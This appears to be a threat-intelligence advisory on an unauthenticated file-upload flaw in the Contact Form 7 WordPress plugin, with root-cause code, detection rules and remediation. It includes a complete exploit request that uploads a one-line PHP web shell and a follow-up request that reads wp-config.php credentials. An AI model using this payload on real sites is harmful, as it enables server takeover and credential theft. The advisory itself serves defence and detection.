CVE-2026-114432: WordPress Contact Form 7 Plugin Unauthenticated Arbitrary File Upload to Remote Code Execution
A critical vulnerability (CVE-2026-114432, CVSS 9.8) in Contact Form 7โthe most popular form builder plugin in the WordPress ecosystem, with over 5 million active installationsโallows unauthenticated remote adversaries to upload arbitrary PHP files and achieve full remote code execution. A logic flaw in WPCF7_Submission::uploaded_files() omits strict extension sanitization for alternative executable formats (.phar, .phtml) and fails to clean up temporary uploads when downstream field validation errors trigger an early return. Web shells deposited into wp-content/uploads/wpcf7_uploads/ remain permanently accessible on disk. Internet-wide mass scanning and automated exploitation campaigns have been detected across honeypots and telemetry sensors. Hermes assigns this vulnerability an HTS score of 96 (CRITICAL).
HERMES THREAT SCORE & WEB CMS ECOSYSTEM EVALUATION
Target:Contact Form 7 REST Submission Endpoint (/wp-json/contact-form-7/v1/contact-forms/*/feedback) & Upload Directory CVSS v3.1 rates this flaw at 9.8 (Critical). Hermes aligns with an elevated HTS score of 96 (CRITICAL). Contact Form 7 is an omnipresent fixture of corporate and governmental web presences. The combination of zero-authentication requirements, trivial scriptability via standard multipart HTTP POST requests, and immediate server-side script execution grants threat actors turnkey remote access to MySQL database credentials (wp-config.php) and operating system command shells across millions of public web nodes.
1. Executive Summary & Operational Context
Section titled โ1. Executive Summary & Operational ContextโContact Form 7 is the preeminent form management plugin for WordPress, deployed on more than 5 million active websites globally. Organizations rely on it to handle customer inquiries, employment applications, quotation requests, and document submissions.
On November 9, 2026, security researchers and Patchstack identified a critical flaw designated CVE-2026-114432 (CVSS 9.8) affecting Contact Form 7 versions 6.2.0 through 6.2.3. The vulnerability combines two flaws in the pluginโs submission pipeline:
- Extension Filter Evasion: The upload validation routine fails to restrict dangerous file extensions such as
.phar,.phtml, and double extensions (shell.php.jpg) when forms allow attachments. - Cleanup Failure Race Condition: When a multipart request submits a file alongside deliberately invalid form data (such as a malformed email address in a required field), the upload handler moves the file into
wp-content/uploads/wpcf7_uploads/, but the validation failure triggers an early return that completely skips the scheduled cleanup routinewpcf7_cleanup_upload_files().
+-----------------------------------------------------------------------------------------+| CVE-2026-114432 KILL CHAIN |+-----------------------------------------------------------------------------------------+| [Unauthenticated Attacker] || โ || โผ HTTP POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback || โข file: evil.phar (PHP web shell payload) || โข your-email: invalid-address (deliberate validation failure) || [WordPress Server: includes/submission.php] || โ || โโโบ Moves evil.phar to /wp-content/uploads/wpcf7_uploads/ || โโโบ Field validation fails on 'your-email' || โโโบ Early return terminates request BEFORE calling cleanup routine || โ || โผ evil.phar persists on disk! || [Attacker Direct HTTP GET /wp-content/uploads/wpcf7_uploads/evil.phar] || โ || โโโบ Apache/Nginx PHP-FPM executes payload under 'www-data' user || โโโบ Reads wp-config.php (database credentials & auth keys) || โโโบ Full WordPress takeover & lateral Linux server escalation |+-----------------------------------------------------------------------------------------+As a result, an unauthenticated attacker can upload a fully functional PHP web shell to the server and invoke it directly via HTTP GET, compromising the hosting account, accessing the WordPress database, and establishing persistent remote access.
2. Root Cause Analysis & Technical Mechanics (CWE-434 / CWE-459)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-434 / CWE-459)โThe vulnerability stems from an insecure refactoring of the submission workflow introduced in Contact Form 7 version 6.2.
In includes/submission.php, the method WPCF7_Submission::uploaded_files() extracts uploaded files from $_FILES and stages them into the temporary directory wp-content/uploads/wpcf7_uploads/:
// Vulnerable snippet from includes/submission.php in version 6.2.2private function setup_uploaded_files() { $uploaded_files = array();
foreach ( (array) $_FILES as $field => $file ) { if ( empty( $file['tmp_name'] ) ) continue;
$filename = wp_basename( $file['name'] );
// Inadequate extension check: regex fails to handle case variations // and alternative PHP executable extensions (.phar, .phtml, .php5) $new_file = path_join( $this->get_upload_dir(), $filename );
if ( @move_uploaded_file( $file['tmp_name'], $new_file ) ) { $uploaded_files[$field] = $new_file; } }
$this->uploaded_files = $uploaded_files;
// Validate remaining form fields if ( ! $this->validate() ) { // VULNERABILITY: Early exit on validation error! // wpcf7_cleanup_upload_files() is never invoked, leaving files permanently on disk $this->status = 'validation_failed'; return false; }
$this->status = 'mail_sent'; $this->cleanup_upload_files(); return true;}Two critical architectural failures manifest in this flow:
- Premature File Staging: Files are physically moved from PHPโs temporary system buffer (
/tmp/php*) into the web-accessible directory (wp-content/uploads/wpcf7_uploads/) before the entire form dataset has been validated. - Unreachable Cleanup Logic: If
validate()returnsfalse, the method exits immediately without reachingcleanup_upload_files(). The uploaded script remains stranded in the upload directory indefinitely. - Execution Permitted by Web Server Configurations: In standard Apache or Nginx environments where
wpcf7_uploads/lacks an.htaccessrule disallowing PHP handler execution or where the server is configured to pass.phar/.phtmlto PHP-FPM, requesting the uploaded file executes the attackerโs payload.
3. Attack Surface & Exploitation Vectors
Section titled โ3. Attack Surface & Exploitation VectorsโVector A: Automated Mass Botnet Exploitation
Section titled โVector A: Automated Mass Botnet ExploitationโAdversaries use automated crawling tools to search for Contact Form 7 endpoints across millions of websites (grep -ro "wp-json/contact-form-7/v1/contact-forms"). Upon discovering an active form ID, a single HTTP POST request delivers the web shell:
POST /wp-json/contact-form-7/v1/contact-forms/42/feedback HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="your-name"
SecurityResearcher------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="your-email"
invalid-email-format-triggers-early-return------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="upload-file"; filename="license.phar"Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>------WebKitFormBoundary7MA4YWxkTrZu0gW--The server returns HTTP 400 Bad Request or a JSON validation error:
{"status":"validation_failed","message":"One or more fields have an error. Please check and try again."}Despite the error response, license.phar has been successfully saved to /wp-content/uploads/wpcf7_uploads/license.phar.
Vector B: Database & Secret Exfiltration via Web Shell
Section titled โVector B: Database & Secret Exfiltration via Web ShellโOnce uploaded, the adversary issues:
GET /wp-content/uploads/wpcf7_uploads/license.phar?cmd=cat%20wp-config.php HTTP/1.1Host: target.example.comThis discloses the DB_USER, DB_PASSWORD, AUTH_KEY, and NONCE_SALT, allowing full database dump and administrative cookie forgery.
4. Forensic Timeline & Threat Actor Execution Flow
Section titled โ4. Forensic Timeline & Threat Actor Execution FlowโsequenceDiagram autonumber actor Attacker as Threat Actor (External) participant REST as WordPress REST API (/wp-json) participant CF7 as Contact Form 7 Engine participant Disk as Web Server Filesystem participant PHP as PHP-FPM Worker (www-data)
Attacker->>REST: 1. POST /feedback (evil.phar + invalid email) REST->>CF7: 2. Invoke setup_uploaded_files() CF7->>Disk: 3. move_uploaded_file() -> wp-content/uploads/wpcf7_uploads/evil.phar CF7->>CF7: 4. Validate fields -> Email invalid! CF7-->>Attacker: 5. Return HTTP 400 (validation_failed) Note over CF7,Disk: Cleanup routine skipped! evil.phar remains on disk. Attacker->>Disk: 6. GET /wp-content/uploads/wpcf7_uploads/evil.phar?cmd=whoami Disk->>PHP: 7. Execute PHP script PHP-->>Attacker: 8. HTTP 200 OK: "www-data" (System Compromised)5. Detection Engineering & Hunting Queries
Section titled โ5. Detection Engineering & Hunting Queriesโtitle: WordPress Contact Form 7 Web Shell Creation in Uploads Directoryid: 9b2d8471-1144-4320-b471-124194f11443status: productiondescription: Detects the creation of executable PHP, PHAR, or PHTML scripts within the Contact Form 7 temporary upload directory (wp-content/uploads/wpcf7_uploads/), indicative of CVE-2026-114432 exploitation.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-114432 - https://contactform7.com/category/releases/author: Hermes Cyber Intelligencedate: 2026-11-12logsource: category: file_event product: linuxdetection: selection: TargetFilename|contains: '/wp-content/uploads/wpcf7_uploads/' TargetFilename|endswith: - '.php' - '.phar' - '.phtml' - '.php5' - '.php7' - '.shtml' - '.inc' condition: selectionfields: - Image - TargetFilename - ProcessIdfalsepositives: - None expected in standard Contact Form 7 configurations (only safe documents like PDF/PNG should exist here)level: criticaltags: - attack.initial_access - attack.t1190 - attack.t1505.003 - cve.cve_2026_114432# Search for suspicious POST submissions to CF7 REST endpoints returning validation errors followed by GET requestsawk '$7 ~ /wp-json\/contact-form-7/ && $6 ~ /POST/ {print $1, $4, $9}' /var/log/nginx/access.log | grep " 400 "
# Search for direct HTTP GET requests targeting files in wpcf7_uploadsgrep -E "GET /wp-content/uploads/wpcf7_uploads/.*\.(php|phar|phtml)" /var/log/nginx/access.log// Detect file creation of PHP/executable scripts in wpcf7_uploadsDeviceFileEvents| where FolderPath has @"wp-content/uploads/wpcf7_uploads"| where FileName endswith ".php" or FileName endswith ".phar" or FileName endswith ".phtml" or FileName has ".php."| project TimeGenerated, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine| sort by TimeGenerated desc#!/bin/bash# Immediate forensic sweep of WordPress uploads directory for rogue scriptsWP_ROOT="/var/www/html"UPLOADS_DIR="${WP_ROOT}/wp-content/uploads/wpcf7_uploads"
echo "[*] Scanning ${UPLOADS_DIR} for suspicious executable files..."if [ -d "$UPLOADS_DIR" ]; then find "$UPLOADS_DIR" -type f \( -name "*.php*" -o -name "*.phar*" -o -name "*.phtml*" -o -name "*.shtml*" \) -exec ls -la {} +
# Check for PHP tags in uploaded files echo "[*] Checking for embedded PHP tags in all uploaded assets..." grep -rn "<?php" "$UPLOADS_DIR"fi6. Remediation & Hardening Directives
Section titled โ6. Remediation & Hardening Directivesโ-
Immediately Update Contact Form 7 to Version 6.2.4: Upgrade Contact Form 7 via the WordPress administrative dashboard (
Plugins > Installed Plugins > Update) or WP-CLI:Terminal window wp plugin update contact-form-7 --version=6.2.4 -
Purge Stranded Upload Files: Inspect and delete all leftover artifacts inside
wp-content/uploads/wpcf7_uploads/:Terminal window find /var/www/html/wp-content/uploads/wpcf7_uploads/ -type f -delete -
Block Script Execution in Upload Directories (Nginx / Apache Hardening):
- For Apache, ensure an
.htaccessfile resides inwp-content/uploads/:<FilesMatch "\.(php|phar|phtml|php[0-9])$">Order Deny,AllowDeny from all</FilesMatch> - For Nginx, configure the server block to forbid PHP processing inside uploads:
location ~* ^/wp-content/uploads/.*\.php$ {deny all;return 404;}
- For Apache, ensure an
-
Rotate Secrets if Active Exploitation is Suspected: If webshell presence is verified, assume
wp-config.phphas been disclosed. Immediately rotate database passwords, WordPress authentication salts, and administrative user passwords.